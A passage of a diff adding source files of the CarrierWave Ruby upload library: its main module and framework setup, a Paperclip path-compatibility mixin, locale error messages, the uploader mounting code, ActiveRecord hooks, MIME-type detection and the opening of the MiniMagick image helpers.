EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
||||||
|
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
|
||||||
|
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
|
||||||
|
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
|
||||||
|
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
|
||||||
|
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
|
@ -0,0 +1,111 @@
|
||||||
|
# encoding: utf-8
|
||||||
|
|
||||||
|
require 'fileutils'
|
||||||
|
require 'active_support/core_ext/object/blank'
|
||||||
|
require 'active_support/core_ext/class/attribute'
|
||||||
|
|
||||||
|
require 'active_support/concern'
|
||||||
|
|
||||||
|
module CarrierWave
|
||||||
|
|
||||||
|
class << self
|
||||||
|
attr_accessor :root, :base_path
|
||||||
|
|
||||||
|
def configure(&block)
|
||||||
|
CarrierWave::Uploader::Base.configure(&block)
|
||||||
|
end
|
||||||
|
|
||||||
|
def clean_cached_files!
|
||||||
|
CarrierWave::Uploader::Base.clean_cached_files!
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
class UploadError < StandardError; end
|
||||||
|
class IntegrityError < UploadError; end
|
||||||
|
class InvalidParameter < UploadError; end
|
||||||
|
class ProcessingError < UploadError; end
|
||||||
|
class DownloadError < UploadError; end
|
||||||
|
|
||||||
|
autoload :SanitizedFile, 'carrierwave/sanitized_file'
|
||||||
|
autoload :Mount, 'carrierwave/mount'
|
||||||
|
autoload :RMagick, 'carrierwave/processing/rmagick'
|
||||||
|
autoload :ImageScience, 'carrierwave/processing/image_science'
|
||||||
|
autoload :MiniMagick, 'carrierwave/processing/mini_magick'
|
||||||
|
autoload :MimeTypes, 'carrierwave/processing/mime_types'
|
||||||
|
autoload :VERSION, 'carrierwave/version'
|
||||||
|
|
||||||
|
module Storage
|
||||||
|
autoload :Abstract, 'carrierwave/storage/abstract'
|
||||||
|
autoload :File, 'carrierwave/storage/file'
|
||||||
|
autoload :Fog, 'carrierwave/storage/fog'
|
||||||
|
end
|
||||||
|
|
||||||
|
module Uploader
|
||||||
|
autoload :Base, 'carrierwave/uploader'
|
||||||
|
autoload :Cache, 'carrierwave/uploader/cache'
|
||||||
|
autoload :Store, 'carrierwave/uploader/store'
|
||||||
|
autoload :Download, 'carrierwave/uploader/download'
|
||||||
|
autoload :Callbacks, 'carrierwave/uploader/callbacks'
|
||||||
|
autoload :Processing, 'carrierwave/uploader/processing'
|
||||||
|
autoload :Versions, 'carrierwave/uploader/versions'
|
||||||
|
autoload :Remove, 'carrierwave/uploader/remove'
|
||||||
|
autoload :ExtensionWhitelist, 'carrierwave/uploader/extension_whitelist'
|
||||||
|
autoload :DefaultUrl, 'carrierwave/uploader/default_url'
|
||||||
|
autoload :Proxy, 'carrierwave/uploader/proxy'
|
||||||
|
autoload :Url, 'carrierwave/uploader/url'
|
||||||
|
autoload :Mountable, 'carrierwave/uploader/mountable'
|
||||||
|
autoload :Configuration, 'carrierwave/uploader/configuration'
|
||||||
|
autoload :Serialization, 'carrierwave/uploader/serialization'
|
||||||
|
end
|
||||||
|
|
||||||
|
module Compatibility
|
||||||
|
autoload :Paperclip, 'carrierwave/compatibility/paperclip'
|
||||||
|
end
|
||||||
|
|
||||||
|
module Test
|
||||||
|
autoload :Matchers, 'carrierwave/test/matchers'
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
if defined?(Merb)
|
||||||
|
|
||||||
|
CarrierWave.root = Merb.dir_for(:public)
|
||||||
|
Merb::BootLoader.before_app_loads do
|
||||||
|
# Setup path for uploaders and load all of them before classes are loaded
|
||||||
|
Merb.push_path(:uploaders, Merb.root / 'app' / 'uploaders', '*.rb')
|
||||||
|
Dir.glob(File.join(Merb.load_paths[:uploaders])).each {|f| require f }
|
||||||
|
end
|
||||||
|
|
||||||
|
elsif defined?(Rails)
|
||||||
|
|
||||||
|
module CarrierWave
|
||||||
|
class Railtie < Rails::Railtie
|
||||||
|
initializer "carrierwave.setup_paths" do
|
||||||
|
CarrierWave.root = Rails.root.join(Rails.public_path).to_s
|
||||||
|
CarrierWave.base_path = ENV['RAILS_RELATIVE_URL_ROOT']
|
||||||
|
end
|
||||||
|
|
||||||
|
initializer "carrierwave.active_record" do
|
||||||
|
ActiveSupport.on_load :active_record do
|
||||||
|
require 'carrierwave/orm/activerecord'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
elsif defined?(Sinatra)
|
||||||
|
if defined?(Padrino)
|
||||||
|
CarrierWave.root = File.join(PADRINO_ROOT, "public")
|
||||||
|
else
|
||||||
|
|
||||||
|
CarrierWave.root = if Sinatra::Application.respond_to?(:public_folder)
|
||||||
|
# Sinatra >= 1.3
|
||||||
|
Sinatra::Application.public_folder
|
||||||
|
else
|
||||||
|
# Sinatra < 1.3
|
||||||
|
Sinatra::Application.public
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,95 @@
|
||||||
|
# encoding: utf-8
|
||||||
|
|
||||||
|
module CarrierWave
|
||||||
|
module Compatibility
|
||||||
|
|
||||||
|
##
|
||||||
|
# Mix this module into an Uploader to make it mimic Paperclip's storage paths
|
||||||
|
# This will make your Uploader use the same default storage path as paperclip
|
||||||
|
# does. If you need to override it, you can override the +paperclip_path+ method
|
||||||
|
# and provide a Paperclip style path:
|
||||||
|
#
|
||||||
|
# class MyUploader < CarrierWave::Uploader::Base
|
||||||
|
# include CarrierWave::Compatibility::Paperclip
|
||||||
|
#
|
||||||
|
# def paperclip_path
|
||||||
|
# ":rails_root/public/uploads/:id/:attachment/:style_:basename.:extension"
|
||||||
|
# end
|
||||||
|
# end
|
||||||
|
#
|
||||||
|
# ---
|
||||||
|
#
|
||||||
|
# This file contains code taken from Paperclip
|
||||||
|
#
|
||||||
|
# LICENSE
|
||||||
|
#
|
||||||
|
# The MIT License
|
||||||
|
#
|
||||||
|
# Copyright (c) 2008 Jon Yurek and thoughtbot, inc.
|
||||||
|
#
|
||||||
|
# Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
# of this software and associated documentation files (the "Software"), to deal
|
||||||
|
# in the Software without restriction, including without limitation the rights
|
||||||
|
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
# copies of the Software, and to permit persons to whom the Software is
|
||||||
|
# furnished to do so, subject to the following conditions:
|
||||||
|
#
|
||||||
|
# The above copyright notice and this permission notice shall be included in
|
||||||
|
# all copies or substantial portions of the Software.
|
||||||
|
#
|
||||||
|
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||||
|
# THE SOFTWARE.
|
||||||
|
#
|
||||||
|
module Paperclip
|
||||||
|
|
||||||
|
def store_path(for_file=filename)
|
||||||
|
path = paperclip_path
|
||||||
|
path ||= File.join(*[store_dir, paperclip_style.to_s, for_file].compact)
|
||||||
|
interpolate_paperclip_path(path, for_file)
|
||||||
|
end
|
||||||
|
|
||||||
|
def store_dir
|
||||||
|
":rails_root/public/system/:attachment/:id"
|
||||||
|
end
|
||||||
|
|
||||||
|
def paperclip_default_style
|
||||||
|
:original
|
||||||
|
end
|
||||||
|
|
||||||
|
def paperclip_path
|
||||||
|
end
|
||||||
|
|
||||||
|
def paperclip_style
|
||||||
|
version_name || paperclip_default_style
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
def interpolate_paperclip_path(path, filename)
|
||||||
|
mappings.inject(path) do |agg, pair|
|
||||||
|
agg.gsub(":#{pair[0]}") { pair[1].call(self, filename).to_s }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def mappings
|
||||||
|
[
|
||||||
|
[:rails_root , lambda{|u, f| Rails.root }],
|
||||||
|
[:rails_env , lambda{|u, f| Rails.env }],
|
||||||
|
[:class , lambda{|u, f| u.model.class.name.underscore.pluralize}],
|
||||||
|
[:id_partition , lambda{|u, f| ("%09d" % u.model.id).scan(/\d{3}/).join("/")}],
|
||||||
|
[:id , lambda{|u, f| u.model.id }],
|
||||||
|
[:attachment , lambda{|u, f| u.mounted_as.to_s.downcase.pluralize }],
|
||||||
|
[:style , lambda{|u, f| u.paperclip_style }],
|
||||||
|
[:basename , lambda{|u, f| f.gsub(/#{File.extname(f)}$/, "") }],
|
||||||
|
[:extension , lambda{|u, f| File.extname(f).gsub(/^\.+/, "")}]
|
||||||
|
]
|
||||||
|
end
|
||||||
|
|
||||||
|
end # Paperclip
|
||||||
|
end # Compatibility
|
||||||
|
end # CarrierWave
|
|
@ -0,0 +1,9 @@
|
||||||
|
en:
|
||||||
|
errors:
|
||||||
|
messages:
|
||||||
|
carrierwave_processing_error: failed to be processed
|
||||||
|
carrierwave_integrity_error: is not of an allowed file type
|
||||||
|
extension_white_list_error: "You are not allowed to upload %{extension} files, allowed types: %{allowed_types}"
|
||||||
|
rmagick_processing_error: "Failed to manipulate with rmagick, maybe it is not an image? Original Error: %{e}"
|
||||||
|
mime_types_processing_error: "Failed to process file with MIME::Types, maybe not valid content-type? Original Error: %{e}"
|
||||||
|
mini_magick_processing_error: "Failed to manipulate with MiniMagick, maybe it is not an image? Original Error: %{e}"
|
|
@ -0,0 +1,382 @@
|
||||||
|
# encoding: utf-8
|
||||||
|
|
||||||
|
module CarrierWave
|
||||||
|
|
||||||
|
##
|
||||||
|
# If a Class is extended with this module, it gains the mount_uploader
|
||||||
|
# method, which is used for mapping attributes to uploaders and allowing
|
||||||
|
# easy assignment.
|
||||||
|
#
|
||||||
|
# You can use mount_uploader with pretty much any class, however it is
|
||||||
|
# intended to be used with some kind of persistent storage, like an ORM.
|
||||||
|
# If you want to persist the uploaded files in a particular Class, it
|
||||||
|
# needs to implement a `read_uploader` and a `write_uploader` method.
|
||||||
|
#
|
||||||
|
module Mount
|
||||||
|
|
||||||
|
##
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [Hash{Symbol => CarrierWave}] what uploaders are mounted on which columns
|
||||||
|
#
|
||||||
|
def uploaders
|
||||||
|
@uploaders ||= {}
|
||||||
|
@uploaders = superclass.uploaders.merge(@uploaders) if superclass.respond_to?(:uploaders)
|
||||||
|
@uploaders
|
||||||
|
end
|
||||||
|
|
||||||
|
def uploader_options
|
||||||
|
@uploader_options ||= {}
|
||||||
|
@uploader_options = superclass.uploader_options.merge(@uploader_options) if superclass.respond_to?(:uploader_options)
|
||||||
|
@uploader_options
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Return a particular option for a particular uploader
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [column (Symbol)] The column the uploader is mounted at
|
||||||
|
# [option (Symbol)] The option, e.g. validate_integrity
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [Object] The option value
|
||||||
|
#
|
||||||
|
def uploader_option(column, option)
|
||||||
|
if uploader_options[column].has_key?(option)
|
||||||
|
uploader_options[column][option]
|
||||||
|
else
|
||||||
|
uploaders[column].send(option)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Mounts the given uploader on the given column. This means that assigning
|
||||||
|
# and reading from the column will upload and retrieve files. Supposing
|
||||||
|
# that a User class has an uploader mounted on image, you can assign and
|
||||||
|
# retrieve files like this:
|
||||||
|
#
|
||||||
|
# @user.image # => <Uploader>
|
||||||
|
# @user.image.store!(some_file_object)
|
||||||
|
#
|
||||||
|
# @user.image.url # => '/some_url.png'
|
||||||
|
#
|
||||||
|
# It is also possible (but not recommended) to ommit the uploader, which
|
||||||
|
# will create an anonymous uploader class.
|
||||||
|
#
|
||||||
|
# Passing a block makes it possible to customize the uploader. This can be
|
||||||
|
# convenient for brevity, but if there is any significatnt logic in the
|
||||||
|
# uploader, you should do the right thing and have it in its own file.
|
||||||
|
#
|
||||||
|
# === Added instance methods
|
||||||
|
#
|
||||||
|
# Supposing a class has used +mount_uploader+ to mount an uploader on a column
|
||||||
|
# named +image+, in that case the following methods will be added to the class:
|
||||||
|
#
|
||||||
|
# [image] Returns an instance of the uploader only if anything has been uploaded
|
||||||
|
# [image=] Caches the given file
|
||||||
|
#
|
||||||
|
# [image_url] Returns the url to the uploaded file
|
||||||
|
#
|
||||||
|
# [image_cache] Returns a string that identifies the cache location of the file
|
||||||
|
# [image_cache=] Retrieves the file from the cache based on the given cache name
|
||||||
|
#
|
||||||
|
# [remote_image_url] Returns previously cached remote url
|
||||||
|
# [remote_image_url=] Retrieve the file from the remote url
|
||||||
|
#
|
||||||
|
# [remove_image] An attribute reader that can be used with a checkbox to mark a file for removal
|
||||||
|
# [remove_image=] An attribute writer that can be used with a checkbox to mark a file for removal
|
||||||
|
# [remove_image?] Whether the file should be removed when store_image! is called.
|
||||||
|
#
|
||||||
|
# [store_image!] Stores a file that has been assigned with +image=+
|
||||||
|
# [remove_image!] Removes the uploaded file from the filesystem.
|
||||||
|
#
|
||||||
|
# [image_integrity_error] Returns an error object if the last file to be assigned caused an integrity error
|
||||||
|
# [image_processing_error] Returns an error object if the last file to be assigned caused a processing error
|
||||||
|
#
|
||||||
|
# [write_image_identifier] Uses the write_uploader method to set the identifier.
|
||||||
|
# [image_identifier] Reads out the identifier of the file
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [column (Symbol)] the attribute to mount this uploader on
|
||||||
|
# [uploader (CarrierWave::Uploader)] the uploader class to mount
|
||||||
|
# [options (Hash{Symbol => Object})] a set of options
|
||||||
|
# [&block (Proc)] customize anonymous uploaders
|
||||||
|
#
|
||||||
|
# === Options
|
||||||
|
#
|
||||||
|
# [:mount_on => Symbol] if the name of the column to be serialized to differs you can override it using this option
|
||||||
|
# [:ignore_integrity_errors => Boolean] if set to true, integrity errors will result in caching failing silently
|
||||||
|
# [:ignore_processing_errors => Boolean] if set to true, processing errors will result in caching failing silently
|
||||||
|
#
|
||||||
|
# === Examples
|
||||||
|
#
|
||||||
|
# Mounting uploaders on different columns.
|
||||||
|
#
|
||||||
|
# class Song
|
||||||
|
# mount_uploader :lyrics, LyricsUploader
|
||||||
|
# mount_uploader :alternative_lyrics, LyricsUploader
|
||||||
|
# mount_uploader :file, SongUploader
|
||||||
|
# end
|
||||||
|
#
|
||||||
|
# This will add an anonymous uploader with only the default settings:
|
||||||
|
#
|
||||||
|
# class Data
|
||||||
|
# mount_uploader :csv
|
||||||
|
# end
|
||||||
|
#
|
||||||
|
# this will add an anonymous uploader overriding the store_dir:
|
||||||
|
#
|
||||||
|
# class Product
|
||||||
|
# mount_uploader :blueprint do
|
||||||
|
# def store_dir
|
||||||
|
# 'blueprints'
|
||||||
|
# end
|
||||||
|
# end
|
||||||
|
# end
|
||||||
|
#
|
||||||
|
def mount_uploader(column, uploader=nil, options={}, &block)
|
||||||
|
if block_given?
|
||||||
|
uploader = Class.new(uploader || CarrierWave::Uploader::Base)
|
||||||
|
uploader.class_eval(&block)
|
||||||
|
uploader.recursively_apply_block_to_versions(&block)
|
||||||
|
else
|
||||||
|
uploader ||= Class.new(CarrierWave::Uploader::Base)
|
||||||
|
end
|
||||||
|
|
||||||
|
uploaders[column.to_sym] = uploader
|
||||||
|
uploader_options[column.to_sym] = options
|
||||||
|
|
||||||
|
include CarrierWave::Mount::Extension
|
||||||
|
|
||||||
|
# Make sure to write over accessors directly defined on the class.
|
||||||
|
# Simply super to the included module below.
|
||||||
|
class_eval <<-RUBY, __FILE__, __LINE__+1
|
||||||
|
def #{column}; super; end
|
||||||
|
def #{column}=(new_file); super; end
|
||||||
|
RUBY
|
||||||
|
|
||||||
|
# Mixing this in as a Module instead of class_evaling directly, so we
|
||||||
|
# can maintain the ability to super to any of these methods from within
|
||||||
|
# the class.
|
||||||
|
mod = Module.new
|
||||||
|
include mod
|
||||||
|
mod.class_eval <<-RUBY, __FILE__, __LINE__+1
|
||||||
|
|
||||||
|
def #{column}
|
||||||
|
_mounter(:#{column}).uploader
|
||||||
|
end
|
||||||
|
|
||||||
|
def #{column}=(new_file)
|
||||||
|
_mounter(:#{column}).cache(new_file)
|
||||||
|
end
|
||||||
|
|
||||||
|
def #{column}?
|
||||||
|
!_mounter(:#{column}).blank?
|
||||||
|
end
|
||||||
|
|
||||||
|
def #{column}_url(*args)
|
||||||
|
_mounter(:#{column}).url(*args)
|
||||||
|
end
|
||||||
|
|
||||||
|
def #{column}_cache
|
||||||
|
_mounter(:#{column}).cache_name
|
||||||
|
end
|
||||||
|
|
||||||
|
def #{column}_cache=(cache_name)
|
||||||
|
_mounter(:#{column}).cache_name = cache_name
|
||||||
|
end
|
||||||
|
|
||||||
|
def remote_#{column}_url
|
||||||
|
_mounter(:#{column}).remote_url
|
||||||
|
end
|
||||||
|
|
||||||
|
def remote_#{column}_url=(url)
|
||||||
|
_mounter(:#{column}).remote_url = url
|
||||||
|
end
|
||||||
|
|
||||||
|
def remove_#{column}
|
||||||
|
_mounter(:#{column}).remove
|
||||||
|
end
|
||||||
|
|
||||||
|
def remove_#{column}!
|
||||||
|
_mounter(:#{column}).remove!
|
||||||
|
end
|
||||||
|
|
||||||
|
def remove_#{column}=(value)
|
||||||
|
_mounter(:#{column}).remove = value
|
||||||
|
end
|
||||||
|
|
||||||
|
def remove_#{column}?
|
||||||
|
_mounter(:#{column}).remove?
|
||||||
|
end
|
||||||
|
|
||||||
|
def store_#{column}!
|
||||||
|
_mounter(:#{column}).store!
|
||||||
|
end
|
||||||
|
|
||||||
|
def #{column}_integrity_error
|
||||||
|
_mounter(:#{column}).integrity_error
|
||||||
|
end
|
||||||
|
|
||||||
|
def #{column}_processing_error
|
||||||
|
_mounter(:#{column}).processing_error
|
||||||
|
end
|
||||||
|
|
||||||
|
def write_#{column}_identifier
|
||||||
|
_mounter(:#{column}).write_identifier
|
||||||
|
end
|
||||||
|
|
||||||
|
def #{column}_identifier
|
||||||
|
_mounter(:#{column}).identifier
|
||||||
|
end
|
||||||
|
|
||||||
|
def store_previous_model_for_#{column}
|
||||||
|
serialization_column = _mounter(:#{column}).serialization_column
|
||||||
|
|
||||||
|
if #{column}.remove_previously_stored_files_after_update && send(:"\#{serialization_column}_changed?")
|
||||||
|
@previous_model_for_#{column} ||= self.find_previous_model_for_#{column}
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def find_previous_model_for_#{column}
|
||||||
|
self.class.find(to_key.first)
|
||||||
|
end
|
||||||
|
|
||||||
|
def remove_previously_stored_#{column}
|
||||||
|
if @previous_model_for_#{column} && @previous_model_for_#{column}.#{column}.path != #{column}.path
|
||||||
|
@previous_model_for_#{column}.#{column}.remove!
|
||||||
|
@previous_model_for_#{column} = nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
RUBY
|
||||||
|
end
|
||||||
|
|
||||||
|
module Extension
|
||||||
|
|
||||||
|
##
|
||||||
|
# overwrite this to read from a serialized attribute
|
||||||
|
#
|
||||||
|
def read_uploader(column); end
|
||||||
|
|
||||||
|
##
|
||||||
|
# overwrite this to write to a serialized attribute
|
||||||
|
#
|
||||||
|
def write_uploader(column, identifier); end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
def _mounter(column)
|
||||||
|
# We cannot memoize in frozen objects :(
|
||||||
|
return Mounter.new(self, column) if frozen?
|
||||||
|
@_mounters ||= {}
|
||||||
|
@_mounters[column] ||= Mounter.new(self, column)
|
||||||
|
end
|
||||||
|
|
||||||
|
end # Extension
|
||||||
|
|
||||||
|
# this is an internal class, used by CarrierWave::Mount so that
|
||||||
|
# we don't pollute the model with a lot of methods.
|
||||||
|
class Mounter #:nodoc:
|
||||||
|
attr_reader :column, :record, :remote_url, :integrity_error, :processing_error
|
||||||
|
attr_accessor :remove
|
||||||
|
|
||||||
|
def initialize(record, column, options={})
|
||||||
|
@record = record
|
||||||
|
@column = column
|
||||||
|
@options = record.class.uploader_options[column]
|
||||||
|
end
|
||||||
|
|
||||||
|
def write_identifier
|
||||||
|
if remove?
|
||||||
|
record.write_uploader(serialization_column, '')
|
||||||
|
elsif not uploader.identifier.blank?
|
||||||
|
record.write_uploader(serialization_column, uploader.identifier)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def identifier
|
||||||
|
record.read_uploader(serialization_column)
|
||||||
|
end
|
||||||
|
|
||||||
|
def uploader
|
||||||
|
@uploader ||= record.class.uploaders[column].new(record, column)
|
||||||
|
|
||||||
|
if @uploader.blank? and not identifier.blank?
|
||||||
|
@uploader.retrieve_from_store!(identifier)
|
||||||
|
end
|
||||||
|
return @uploader
|
||||||
|
end
|
||||||
|
|
||||||
|
def cache(new_file)
|
||||||
|
uploader.cache!(new_file)
|
||||||
|
@integrity_error = nil
|
||||||
|
@processing_error = nil
|
||||||
|
rescue CarrierWave::IntegrityError => e
|
||||||
|
@integrity_error = e
|
||||||
|
raise e unless option(:ignore_integrity_errors)
|
||||||
|
rescue CarrierWave::ProcessingError => e
|
||||||
|
@processing_error = e
|
||||||
|
raise e unless option(:ignore_processing_errors)
|
||||||
|
end
|
||||||
|
|
||||||
|
def cache_name
|
||||||
|
uploader.cache_name
|
||||||
|
end
|
||||||
|
|
||||||
|
def cache_name=(cache_name)
|
||||||
|
uploader.retrieve_from_cache!(cache_name) unless uploader.cached?
|
||||||
|
rescue CarrierWave::InvalidParameter
|
||||||
|
end
|
||||||
|
|
||||||
|
def remote_url=(url)
|
||||||
|
@remote_url = url
|
||||||
|
uploader.download!(url)
|
||||||
|
end
|
||||||
|
|
||||||
|
def store!
|
||||||
|
unless uploader.blank?
|
||||||
|
if remove?
|
||||||
|
uploader.remove!
|
||||||
|
else
|
||||||
|
uploader.store!
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def url(*args)
|
||||||
|
uploader.url(*args)
|
||||||
|
end
|
||||||
|
|
||||||
|
def blank?
|
||||||
|
uploader.blank?
|
||||||
|
end
|
||||||
|
|
||||||
|
def remove?
|
||||||
|
!remove.blank? and remove !~ /\A0|false$\z/
|
||||||
|
end
|
||||||
|
|
||||||
|
def remove!
|
||||||
|
uploader.remove!
|
||||||
|
end
|
||||||
|
|
||||||
|
def serialization_column
|
||||||
|
option(:mount_on) || column
|
||||||
|
end
|
||||||
|
|
||||||
|
attr_accessor :uploader_options
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
def option(name)
|
||||||
|
self.uploader_options ||= {}
|
||||||
|
self.uploader_options[name] ||= record.class.uploader_option(column, name)
|
||||||
|
end
|
||||||
|
|
||||||
|
end # Mounter
|
||||||
|
|
||||||
|
end # Mount
|
||||||
|
end # CarrierWave
|
|
@ -0,0 +1,66 @@
|
||||||
|
# encoding: utf-8
|
||||||
|
|
||||||
|
require 'active_record'
|
||||||
|
require 'carrierwave/validations/active_model'
|
||||||
|
|
||||||
|
module CarrierWave
|
||||||
|
module ActiveRecord
|
||||||
|
|
||||||
|
include CarrierWave::Mount
|
||||||
|
|
||||||
|
##
|
||||||
|
# See +CarrierWave::Mount#mount_uploader+ for documentation
|
||||||
|
#
|
||||||
|
def mount_uploader(column, uploader=nil, options={}, &block)
|
||||||
|
super
|
||||||
|
|
||||||
|
alias_method :read_uploader, :read_attribute
|
||||||
|
alias_method :write_uploader, :write_attribute
|
||||||
|
public :read_uploader
|
||||||
|
public :write_uploader
|
||||||
|
|
||||||
|
include CarrierWave::Validations::ActiveModel
|
||||||
|
|
||||||
|
validates_integrity_of column if uploader_option(column.to_sym, :validate_integrity)
|
||||||
|
validates_processing_of column if uploader_option(column.to_sym, :validate_processing)
|
||||||
|
|
||||||
|
after_save :"store_#{column}!"
|
||||||
|
before_save :"write_#{column}_identifier"
|
||||||
|
after_destroy :"remove_#{column}!"
|
||||||
|
before_update :"store_previous_model_for_#{column}"
|
||||||
|
after_save :"remove_previously_stored_#{column}"
|
||||||
|
|
||||||
|
class_eval <<-RUBY, __FILE__, __LINE__+1
|
||||||
|
def #{column}=(new_file)
|
||||||
|
column = _mounter(:#{column}).serialization_column
|
||||||
|
send(:"\#{column}_will_change!")
|
||||||
|
super
|
||||||
|
end
|
||||||
|
|
||||||
|
def remote_#{column}_url=(url)
|
||||||
|
column = _mounter(:#{column}).serialization_column
|
||||||
|
send(:"\#{column}_will_change!")
|
||||||
|
super
|
||||||
|
end
|
||||||
|
|
||||||
|
def serializable_hash(options=nil)
|
||||||
|
hash = {}
|
||||||
|
|
||||||
|
except = options && options[:except] && Array.wrap(options[:except]).map(&:to_s)
|
||||||
|
only = options && options[:only] && Array.wrap(options[:only]).map(&:to_s)
|
||||||
|
|
||||||
|
self.class.uploaders.each do |column, uploader|
|
||||||
|
if (!only && !except) || (only && only.include?(column.to_s)) || (except && !except.include?(column.to_s))
|
||||||
|
hash[column.to_s] = _mounter(:#{column}).uploader.serializable_hash
|
||||||
|
end
|
||||||
|
end
|
||||||
|
super(options).merge(hash)
|
||||||
|
end
|
||||||
|
RUBY
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end # ActiveRecord
|
||||||
|
end # CarrierWave
|
||||||
|
|
||||||
|
ActiveRecord::Base.extend CarrierWave::ActiveRecord
|
|
@ -0,0 +1,58 @@
|
||||||
|
require 'mime/types'
|
||||||
|
|
||||||
|
module CarrierWave
|
||||||
|
|
||||||
|
##
|
||||||
|
# This module simplifies the use of the mime-types gem to intelligently
|
||||||
|
# guess and set the content-type of a file. If you want to use this, you'll
|
||||||
|
# need to require this file:
|
||||||
|
#
|
||||||
|
# require 'carrierwave/processing/mime_types'
|
||||||
|
#
|
||||||
|
# And then include it in your uploader:
|
||||||
|
#
|
||||||
|
# class MyUploader < CarrierWave::Uploader::Base
|
||||||
|
# include CarrierWave::MimeTypes
|
||||||
|
# end
|
||||||
|
#
|
||||||
|
# You can now use the provided helper:
|
||||||
|
#
|
||||||
|
# class MyUploader < CarrierWave::Uploader::Base
|
||||||
|
# include CarrierWave::MimeTypes
|
||||||
|
#
|
||||||
|
# process :set_content_type
|
||||||
|
# end
|
||||||
|
#
|
||||||
|
module MimeTypes
|
||||||
|
extend ActiveSupport::Concern
|
||||||
|
|
||||||
|
module ClassMethods
|
||||||
|
def set_content_type(override=false)
|
||||||
|
process :set_content_type => override
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Changes the file content_type using the mime-types gem
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [override (Boolean)] whether or not to override the file's content_type
|
||||||
|
# if it is already set and not a generic content-type,
|
||||||
|
# false by default
|
||||||
|
#
|
||||||
|
def set_content_type(override=false)
|
||||||
|
if override || file.content_type.blank? || file.content_type == 'application/octet-stream'
|
||||||
|
new_content_type = ::MIME::Types.type_for(file.original_filename).first.to_s
|
||||||
|
if file.respond_to?(:content_type=)
|
||||||
|
file.content_type = new_content_type
|
||||||
|
else
|
||||||
|
file.instance_variable_set(:@content_type, new_content_type)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
rescue ::MIME::InvalidContentType => e
|
||||||
|
raise CarrierWave::ProcessingError, I18n.translate(:"errors.messages.mime_types_processing_error", :e => e)
|
||||||
|
end
|
||||||
|
|
||||||
|
end # MimeTypes
|
||||||
|
end # CarrierWave
|
|
@ -0,0 +1,254 @@
|
||||||
|
# encoding: utf-8
|
||||||
|
|
||||||
|
require 'mini_magick'
|
||||||
|
|
||||||
|
module CarrierWave
|
||||||
|
|
||||||
|
##
|
||||||
|
# This module simplifies manipulation with MiniMagick by providing a set
|
||||||
|
# of convenient helper methods. If you want to use them, you'll need to
|
||||||
|
# require this file:
|
||||||
|
#
|
||||||
|
# require 'carrierwave/processing/mini_magick'
|
||||||
|
#
|
||||||
|
# And then include it in your uploader:
|
||||||
|
#
|
||||||
|
# class MyUploader < CarrierWave::Uploader::Base
|
||||||
|
# include CarrierWave::MiniMagick
|
||||||
|
# end
|
||||||
|
#
|
||||||
|
# You can now use the provided helpers:
|
||||||
|
#
|
||||||
|
# class MyUploader < CarrierWave::Uploader::Base
|
||||||
|
# include CarrierWave::MiniMagick
|
||||||
|
#
|
||||||
|
# process :resize_to_fit => [200, 200]
|
||||||
|
# end
|
||||||
|
#
|
||||||
|
# Or create your own helpers with the powerful manipulate! method. Check
|
||||||
|
# out the ImageMagick docs at http://www.imagemagick.org/script/command-line-options.php for more
|
||||||
|
# info
|
||||||
|
#
|
||||||
|
# class MyUploader < CarrierWave::Uploader::Base
|
||||||
|
# include CarrierWave::MiniMagick
|
||||||
|
#
|
||||||
|
# process :radial_blur => 10
|
||||||
|
#
|
||||||
|
# def radial_blur(amount)
|
||||||
|
# manipulate! do |img|
|
||||||
|
# img.radial_blur(amount)
|
||||||
|
# img = yield(img) if block_given?
|
||||||
|
# img
|
||||||
|
# end
|
||||||
|
# end
|
||||||
